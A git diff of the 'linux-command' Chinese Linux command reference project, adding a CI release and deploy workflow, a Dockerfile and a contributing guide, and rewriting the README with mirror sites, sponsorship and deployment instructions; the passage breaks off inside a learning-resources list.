diff --git a/.gitattributes b/.gitattributes index 23c651c27ea..518eefdd844 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1,3 @@ -*.js linguist-language=html \ No newline at end of file +*.js linguist-language=html +*.ejs linguist-language=html +*.md linguist-detectable=true diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..abe8b762fe5 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +ko_fi: jaywcjlove +buy_me_a_coffee: jaywcjlove +custom: ["https://www.paypal.me/kennyiseeyou", "https://jaywcjlove.github.io/#/sponsor"] diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000000..c8dcecc907c --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,230 @@ +name: CI +on: + push: + branches: + - master + +jobs: + build-deploy: + runs-on: ubuntu-latest + permissions: + contents: write + id-token: write + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 20 + registry-url: 'https://registry.npmjs.org' + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + id: contributors + with: + filter-author: (renovate\[bot\]|renovate-bot|@github-actions-bot|dependabot\[bot\]) + avatarSize: 42 + + - name: Modify README.md + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: README.md + trim_whitespace: false + openDelimiter: '' + closeDelimiter: '' + body: | + ${{steps.contributors.outputs.htmlList}} + + - name: Modify contributors.ejs + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: template/contributors.ejs + trim_whitespace: false + openDelimiter: '' + closeDelimiter: '' + body: | + ${{steps.contributors.outputs.htmlList}} + + - run: npm install + - run: npm run dash + - run: cp CONTRIBUTORS.svg .deploy + + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + + - name: Create Tag + id: create_tag + uses: jaywcjlove/create-tag-action@main + with: + package-path: ./package.json + + - name: Get Tag Version + id: tag_version + uses: jaywcjlove/changelog-generator@main + + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + + - name: Generate Changelog + id: changelog + uses: jaywcjlove/changelog-generator@main + with: + filter-author: (小弟调调™) + filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) + + - name: Create Release + uses: ncipollo/release-action@v1 + if: steps.create_tag.outputs.successful + with: + allowUpdates: true + artifacts: '.deploy/linux-command.docset.tgz' + draft: false + token: ${{ secrets.GITHUB_TOKEN }} + name: ${{ steps.create_tag.outputs.version }} + tag: ${{ steps.create_tag.outputs.version }} + body: | + [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) + + ```bash + npm i linux-command@${{steps.create_tag.outputs.versionNumber}} + ``` + + ${{ steps.changelog.outputs.compareurl }} + + ${{ steps.changelog.outputs.changelog }} + + + Document linux-command@${{ steps.changelog.outputs.tag }}: + https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + + ## Docker + + [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + + 轻松通过 `docker` 部署 `linux-command` 网站。 + + ```bash + docker pull wcjiang/linux-command + ``` + + ```bash + docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest + # Or + docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest + ``` + + 在浏览器中访问以下 URL + + ```bash + http://localhost:9665/ + ``` + + - run: rm -rf .deploy/linux-command.docset + + - name: Deploy + uses: peaceiris/actions-gh-pages@v4 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + + - run: npm publish --access public --provenance + continue-on-error: true + name: 📦 linux-command publish to NPM + env: + NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}} + + # Create Docker Image + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USER }} + password: ${{ secrets.DOCKER_PASSWORD }} + + - name: Build and push image:latest + uses: docker/build-push-action@v6 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:latest + + - name: Build and push image:tags + uses: docker/build-push-action@v6 + if: steps.create_tag.outputs.successful + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to the GitHub Container Registry + # uses: docker/login-action@v2 + # with: + # registry: ghcr.io + # username: ${{ github.actor }} + # password: ${{ secrets.GITHUB_TOKEN }} + + # - name: Build and push image:latest + # uses: docker/build-push-action@v6 + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:latest + + # - name: Build and push image:tags + # uses: docker/build-push-action@v6 + # if: steps.create_tag.outputs.successful + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image + # - name: Docker login + # run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + # - name: Build linux-command image + # run: | + # rm -rf .deploy/linux-command.docset.tgz + # docker image build -t linux-command . + + # - name: Tags & Push image(latest) + # run: | + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + # docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + # - name: Tags & Push image + # if: steps.create_tag.outputs.successful + # run: | + # echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + # docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to GitHub registry + # run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + # - name: Build docker image + # run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + # - name: Publish to GitHub registry + # run: docker push ghcr.io/jaywcjlove/linux-command:latest + + # - name: Tag docker image (beta) and publish to GitHub registry + # if: steps.create_tag.outputs.successful + # run: | + # echo "version: v${{ steps.changelog.outputs.version }}" + # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} diff --git a/.gitignore b/.gitignore index ad151e74516..4e1aadc23a9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ node_modules -.deploy npm-debug.log +package-lock.json +.deploy .DS_Store diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000000..a43f4472839 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,61 @@ +# 贡献者约定 + +感谢您对本项目提交贡献,为了便于维护者管理,请各位维护人员遵循以下约定 + +## 如果您希望提交一个命令 + +命令的存放位置在 `./command/` 文件夹中 + +1. 在这里创建一个 `[CommandName].md` 文件,比如 `pacman.md` +2. 打开文件,键入指令在终端中执行的命令 +3. 第二行输入三个等号 +4. 创建二级标题“补充说明”,并且在这个标题下面创建至少下面几个三级标题 + - 语法 + - 选项 + - 参数 + +按照预期,文档应该是这样的 + +```markdown +CommandName +=== + +这里是命令介绍,它可以被搜索到,如果你有个流行的应用,包含多个命令,可放到这里,以便搜索到对应的命令 + +## 补充说明 + +**CommandName命令** 是用于演示的文档 + +### 语法 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +CommandName <-abcdABCD> <必选参数> [可选参数] + +### 选项 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +-a xxxxx +-b xxxxx +... +-C xxxxx +-D xxxxx + +### 参数 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +可选参数:一般情况下可以不给出 + +``` + +## 如果您希望维护前端页面 + +- 请确保您的代码可以完整的运行在最新的 Chromium 和 Safari 浏览器 (#489) + +## 对于提交信息的其他规范 + +- 约定式提交 +- 中文文案排版指北 +- 扉页 — Google 开源项目风格指南 diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000000..a060675f82f --- /dev/null +++ b/Dockerfile @@ -0,0 +1,7 @@ +# https://lipanski.com/posts/smallest-docker-image-static-website +# https://github.com/forksss/docker-static-website +FROM wcjiang/docker-static-website:latest + +# Copy the static website +# Use the .dockerignore file to control what ends up inside the image! +COPY ./.deploy . diff --git a/LICENSE b/LICENSE index c787c445677..99a28f58ecb 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2019 小弟调调™ +Copyright © 2019 小弟调调™ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index 62270538dd7..f7a13d0819e 100644 --- a/README.md +++ b/README.md @@ -1,102 +1,293 @@ +
+ Special thanks to: +
+
+ + Warp sponsorship + +
+ Warp, the intelligent terminal for developers!
+ Available for MacOS, Linux, & Windows

+ +

+
+
+

- + +

Linux Command

-Linux Command ---- +[![Buy me a coffee](https://img.shields.io/badge/Buy%20me%20a%20coffee-048754?logo=buymeacoffee)](https://jaywcjlove.github.io/#/sponsor) +[![CI](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml/badge.svg)](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml) +[![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) +[![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) +[![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) +[![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) +[![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) + +当前仓库搜集了 600 多个 Linux 命令,是一个非盈利性的仓库,生成了一个 web 网站方便使用,目前网站没有任何广告,内容包含 Linux 命令手册、详解、学习,内容来自网络和网友的补充,非常值得收藏的 Linux 命令速查手册。版权归属原作者,对任何法律问题及风险不承担任何责任,没有任何商业目的,如果认为侵犯了您的版权,请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时,代表您已接受了本站的使用条款和隐私条款。 + +## 赞助支持 + +非常感谢一直以来支持我开源项目的朋友们!如果您认可我的工作,欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表: + +

+ Screen Test + Deskmark + Keyzer + Vidwall Hub + VidCrop + Vidwall + Mousio Hint + Mousio + Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Quick RSS + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe +

-[![](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) +## Web 版本 +[Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) -550 多个 Linux 命令,内容包含 Linux 命令手册、详解、学习,值得收藏的 Linux 命令速查手册。请原谅我写了个爬虫,爬了他们家的数据 [linuxde.net](http://man.linuxde.net) ,同时进行了编辑,增加了一些数据。对他们的辛勤劳动表示敬意,个人希望能本地离线搜索,不喜欢广告,希望得到干净漂亮的预览界面,业余和工作时间需要使用大量的命令,所以干了一件看似比较愚蠢的事情,在回头有空的时候估计能做一个App?,或者是命令行帮助工具?但目前还没有计划... +扫描二维码移动端预览搜索,也可通过二维码下面链接地址打开使用,下面网站是通过 Github Action 自动更新。 -[Web](#web-版本) | [Alfred](#alfred-版本) | [Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) +⚠️ [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) 存在 `违禁违规` 内容问题 [#283](https://github.com/jaywcjlove/linux-command/issues/283)。 -## 开发使用 +[![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261718-ab585380-d529-11eb-86e1-e97cdcd78150.png)](https://jaywcjlove.github.io/linux-command/) -可以通过 `npm` 安装 `linux-command` 包,包含所有命令的 markdown 文本,和一个[索引文件](dist/data.json)。 +预览搜索:**https://git.io/linux** + +[![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261829-ce830300-d529-11eb-8cea-a39059b972dd.gif)](https://jaywcjlove.github.io/linux-command/) + +你可以随意部署 web 版,这非常简单,只需要克隆 [gh-pages](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。还可以使用下方 [Docker 部署](#docker-部署) web 版。 + +⚠️ 部署的静态网站,还是希望挂个 GitHub 地址,这样大家共同维护命令文档,让文档更加完善,更加丰富,当然删除本站所有相关信息,其实我也不太在意,默认允许你们随意搞,我不负任何负责。如果您也部署了一份,可以将网址放到下面 :)。 + +由于中国国内访问,时常打不开,你可以访问下面镜像网站。也可以通过推荐或提交 PR 的方式添加你的[镜像站 #649](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597),以提升权重并加快搜索引擎收录。 + +**推荐使用的镜像 web 版本** + +[**`85604608.xyz`**](https://85604608.xyz) +[**`ykkit.cn`**](https://linux.ykkit.cn) +[**`geekswg.js.cool`**](https://geekswg.js.cool/linux-command/) +[**`szsyw.cn`**](https://projects.szsyw.cn/linux/) +[**`lukix.xyz`**](https://linux.lukix.xyz/) +[**`lihaicheng.cn`**](https://linux.lihaicheng.cn) +[**`kkcry.com`**](https://linux.kkcry.com) +[**`dyh1319.asia`**](https://linux.dyh1319.asia) +[**`qqcl.com`**](https://linux.qqcl.com/) +[**`huiyex.top`**](https://linux.huiyex.top) +[**`wu114.cn`**](https://linux.wu114.cn) +[**`waadri.top`**](https://linuxcommand.waadri.top) +[**`zanglikun.com`**](https://linux.zanglikun.com) +[**`alapi.cn`**](https://linux.alapi.cn) +[**`fasfuah.icu`**](https://linux.fasfuah.icu) +[**`cnxiaobai.com`**](https://linux.cnxiaobai.com) +[**`sicangge.com`**](https://linux.sicangge.com) +[**`largeinfo.cc`**](http://linuxsearch.largeinfo.cc) +[**`srebro.cn`**](https://linux.srebro.cn/) +[**`getaifun.com`**](https://getaifun.com/linux) +[**`devonline.net`**](http://linux.devonline.net/) +[**`man.zch.ooo`**](https://man.zch.ooo/) +[**`mmoke.com`**](https://linux.mmoke.com) +[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`zyimm.com`**](http://linux.zyimm.com/) +[**`vovuo.com`**](https://linux.vovuo.com/) +[**`shinote.net`**](https://linux.shinote.net/) +[**`dogexorg.com`**](http://linux.dogexorg.com/) +[`vekicc.com`](https://ll.vekicc.com/) +[`liguiying.cn`](https://linux.liguiying.cn/) +[`renye.net`](https://renye.net/) +[`diqi.org`](https://diqi.org/) +[`alistnas.top`](https://linux.alistnas.top/) +[`nenufm.com`](https://www.nenufm.com/linux-command/) +[`jiangyang.online`](https://linux.jiangyang.online/) +[`xiyung.cn`](https://xiyung.cn/linux-command/) +[`78888889.xyz`](https://linux-command.78888889.xyz/) + +**其它 web 版本** + +[`briline.net`](http://linux.briline.net) +[`pkslow.com`](https://www.pkslow.com/linux-commands/index.html) +[`ifdev.cn`](https://cmd.ifdev.cn) +[`witnect.top`](https://witnect.top/) +[`lylme.com`](https://linux.lylme.com/) +[`ftqq.com`](https://linux.ftqq.com/) +[`gaomeluo.com`](https://linux.gaomeluo.com) +[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826) +[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/) +[`262235.xyz`](https://262235.xyz/linux-command/) +[`cmsblogs.cn`](https://linux.cmsblogs.cn/) +[`loquy.cn`](https://www.loquy.cn/linux-command/) +[`buyao.vip`](https://demo.buyao.vip/linux/) +[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`utils.fun`](https://linux.utils.fun/) +[`51tools.info`](https://51tools.info/linux/) +[`ddosi.org`](https://www.ddosi.org/linux-cmd/) + +## 其它版本 + +- [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) +- [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260),由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) +- [Chrome 插件](https://github.com/jaywcjlove/oscnews),[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 +- [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command),([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) +- [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases),`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91),可配合 `alfred` 使用,[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件,由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 +- [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [Mac/Win/Linux](https://github.com/haloislet/linux-command) +- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129),由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 +- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129),由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 + +## Docker 部署 + +[![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) + +轻松通过 docker 部署 linux-command 网站。 ```bash -npm install linux-command +docker pull wcjiang/linux-command ``` -```js -var comm = require("linux-command"); -console.log("---->", comm.ls); - -var alias = require("linux-command/command/alias.md"); -console.log("---->", alias); // markdown string +```bash +docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest +# Or +docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest ``` -你也可以通过 CDN 来访问索引数据,和对应的命令详细内容,我将更新内容定期发布版本,提供大家使用,[UNPKG](https://unpkg.com/linux-command/) 带上版本号,将锁定版本访问,删除版本号请求数据,将会自动重定向最新版本。 +在浏览器中访问以下 URL -```shell -# 命令索引 JSON 数据 -https://unpkg.com/linux-command/dist/data.json -# 对应命令详情(Markdown)数据 -https://unpkg.com/linux-command/command/<命令名称>.md +```bash +http://localhost:9665/ ``` -你也可以通过 Github 的 Raw 来,获取最新的内容 +## Vercel -```shell -# 命令索引 JSON 数据 -https://raw.githubusercontent.com/jaywcjlove/linux-command/master/dist/data.json -# 对应命令详情(Markdown)数据 -https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命令名称>.md -``` +可以点击下面按钮一键部署至 [Vercel](https://vercel.com): -#### Chrome 插件 +[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https://github.com/jaywcjlove/linux-command) -可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果,[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载: +
+部署结果 -[![Chrome Web Store 下载](http://jaywcjlove.github.io/sb/download/chrome-web-store.svg)](https://chrome.google.com/webstore/detail/oscnews/iheapfheanfjcemgneblljhaebonakbg) +![](./assets/vercel.png) -[![Chrome Web Store 下载](./assets/chrome-extensions.gif)](https://github.com/jaywcjlove/oscnews) +
-#### Web 版本 +通过 Vercel 分配的域名访问,或者自行在设置中绑定域名。 -[Github Web](http://jaywcjlove.github.io/linux-command/) | [OSChina Web](http://jaywcjlove.gitee.io/linux-command/) | [Web 1](http://linux-command.composer-proxy.org/) -扫描二维码移动端预览搜索,也可通过二维码下面链接地址打开使用。 +## Netlify -[![Linux 命令大全](./assets/qr.png)](https://jaywcjlove.github.io/linux-command/) +可以点击下面按钮一键部署至 [Netlify](https://netlify.com): -预览搜索:**https://git.io/linux** +[![Deploy to Netlify Button](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/jaywcjlove/linux-command) + +
+部署结果 + +![](./assets/netlify.png) + +
+ +通过 Netlify 分配的域名访问,或者自行在设置中绑定域名。 + +## 宝塔面板 + +可通过宝塔面板应用商店快速部署 linux-command + +
+部署步骤 + +### 前提 + +* 仅适用于宝塔面板 9.2.0 及以上版本 +* 安装宝塔面板,前往[宝塔面板](https://www.bt.cn/new/download.html)官网,选择正式版的脚本下载安装 + +### 部署 + +1. 登录宝塔面板,在左侧菜单栏中点击 `Docker` +2. 首次会提示安装`Docker`和`Docker Compose`服务,点击立即安装,若已安装请忽略。 +3. 安装完成后在`Docker-应用商店-实用工具`中找到 `linux-command`,点击`安装`,也可以在搜索框直接搜索`linux`。 +4. 设置域名等基本信息,点击`确定` +* 说明: + * 名称:应用名称,默认`linuxcommand_随机字符` + * 版本选择:默认`latest` + * 域名:如您需要通过域名访问,请在此处填写您的域名 + * 允许外部访问:如您需通过`IP+Port`直接访问,请勾选,如您已经设置了域名,请不要勾选此处 + * 端口:默认`3000`,可自行修改 + * CPU 限制:0 为不限制,根据实际需要设置 + * 内存限制:0 为不限制,根据实际需要设置 +5. 提交后面板会自动进行应用初始化,大概需要`1-3`分钟,初始化完成后即可访问。 + +### 访问 linux-command + +* 如果您填写域名,请在浏览器输入您的域名访问,如`http://demo.linux-command`,即可访问 `linux-command` 页面。 +* 如您选择`IP+端口访问`请在浏览器地址栏中输入域名访问 `http://<宝塔面板IP>:6806`,即可访问 `linux-command` 页面。 + +
-[![Linux 命令大全](./assets/Linux.gif)](https://jaywcjlove.github.io/linux-command/) +## 1Panel面板 -#### Alfred 版本 +可通过1Panel面板应用商店快速部署 linux-command -[Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases), 下图是界面效果。 +
+部署步骤 -[![Linux 命令大全](./assets/alfred.png)](https://github.com/jaywcjlove/linux-command/releases) +### 前提 -## 目录 +- 仅适用于1Panel面板v1.10.32-lts及以上版本 -- [Linux命令分类](#linux命令分类) - - [文件管理](#文件管理) File Management - - [文件传输](#文件传输) File Transfer - - [文档编辑](#文档编辑) File Editor - - [备份压缩](#备份压缩) File Compression - - [系统管理](#系统管理) System Management - - [系统设置](#系统设置) System Settings - - [网络通讯](#网络通讯) Network Communication - - [磁盘管理](#磁盘管理) Disk Management - - [磁盘维护](#磁盘维护) Disk Maintenance - - [设备管理](#设备管理) Device Commands - - [电子邮件与新闻组](#电子邮件与新闻组) - - [其他命令](#其他命令) Misc Commands -- [Node调用](#node调用) -- [Linux学习资源整理](#linux学习资源整理) - - [社区网站](#社区网站) - - [知识相关](#知识相关) - - [软件工具](#软件工具) - - [中国开源镜像站点](#中国开源镜像站点) - - [游戏玩家发行版](#游戏玩家发行版) +- 安装1Panel面板,前往[1Panel](https://1panel.cn/)官网,选择正式版安装脚本下载安装 +### 部署 + +1. 登录1Panel面板,在左侧菜单栏中点击 `应用商店` +2. 在 `应用商店-开发工具` 中找到 `linux-command`,点击`安装`,也可以在搜索框直接搜索 +3. 点击 `确定` + +- 说明: + + - 名称:应用名称,默认 `linux-command` + - 版本:默认最新发行版 + - 端口:默认`40255` + - 端口外部访问:如你需通过 `IP+Port` 直接访问,请勾选,同时会开放服务器防火墙端口 + - CPU限制:默认为0,不限制,可根据实际需要设置 + - 内存限制:默认为0,不限制,可根据实际需要设置 + +4. 提交后面板会自动进行应用安装启动,应用状态会变为`安装中`,大概需要`1-3`分钟,耐心等待安装完成 +5. 当应用状态变为`已启动`后,点击左侧的网站,首次使用需要安装`OpenResty`,点击`安装` +6. 安装完成后,点击`网站`菜单栏左上角`创建`,在弹出的页面中选择`反向代理` +7. 在`主域名`填入你的域名,网站代号会自动生成,代理选择`http`,代理地址填写`127.0.0.1:40255`,点击`确定` +8. (可选) 配置你创建的网站,可根据需要配置`https`访问增强访问安全性 + +### 访问 linux-command + +- 如果你通过`OpenResty`反向代理反代了网站,并且填写了域名,请在浏览器输入`域名`访问 +- 如你选择了 `端口外部访问`,请在浏览器地输入 `http://<1Panel面板IP>:40255` 访问 + +
## Linux命令分类 @@ -104,7 +295,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 文件传输 -bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto +bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto、scp ### 备份压缩 @@ -130,13 +321,13 @@ alias、apmd、aumix、bind、chkconfig、chroot、clock、crontab、declare、d adduser、chfn、chsh、date、exit、finger、free、fwhois、gitps、groupdel、groupmod、halt、id、kill、last、lastb、login、logname、logout、logrotate、newgrp、nice、procinfo、ps、pstree、reboot、renice、rlogin、rsh、rwho、screen、shutdown、sliplogin、su、sudo、suspend、swatch、tload、top、uname、useradd、userconf、userdel、usermod、vlock、w、who、whoami、whois -### 文档编辑 +### 文本处理 -col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、wc +awk、col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc ### 网络通讯 -dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup +dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、ping6、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup ### 设备管理 @@ -150,44 +341,77 @@ archive、ctlinnd、elm、getlist、inncheck、mail、mailconf、mailq、message yes + +## 开发使用 + +可以通过 `npm` 安装 [`linux-command`](https://www.npmjs.com/package/linux-command) 包,包含所有命令的 markdown 文本,和一个[索引文件](dist/data.json)。 + +```bash +npm install linux-command +``` + +```js +var comm = require("linux-command"); +console.log("---->", comm.ls); + +var alias = require("linux-command/command/alias.md"); +console.log("---->", alias); // markdown string +``` + +你也可以通过 CDN 来访问索引数据,和对应的命令详细内容,我将更新内容定期发布版本,提供大家使用,[UNPKG](https://unpkg.com/linux-command/) 带上版本号,将锁定版本访问,删除版本号请求数据,将会自动重定向最新版本。 + +```shell +# 命令索引 JSON 数据 +https://unpkg.com/linux-command/dist/data.json +# 对应命令详情(Markdown)数据 +https://unpkg.com/linux-command/command/<命令名称>.md +``` + +你也可以通过 Github 的 Raw 来,获取最新的内容 + +```shell +# 命令索引 JSON 数据 +https://raw.githubusercontent.com/jaywcjlove/linux-command/master/dist/data.json +# 对应命令详情(Markdown)数据 +https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命令名称>.md +``` + ## Linux学习资源整理 ### 社区网站 - [Linux中国](https://linux.cn/) - 各种资讯、文章、技术 -- [实验楼](https://www.shiyanlou.com/) - 免费提供了Linux在线环境,不用在自己机子上装系统也可以学习Linux,超方便实用。 +- [LabEx](https://labex.io/) - 免费提供了Linux在线环境,不用在自己机子上装系统也可以学习Linux,超方便实用。 - 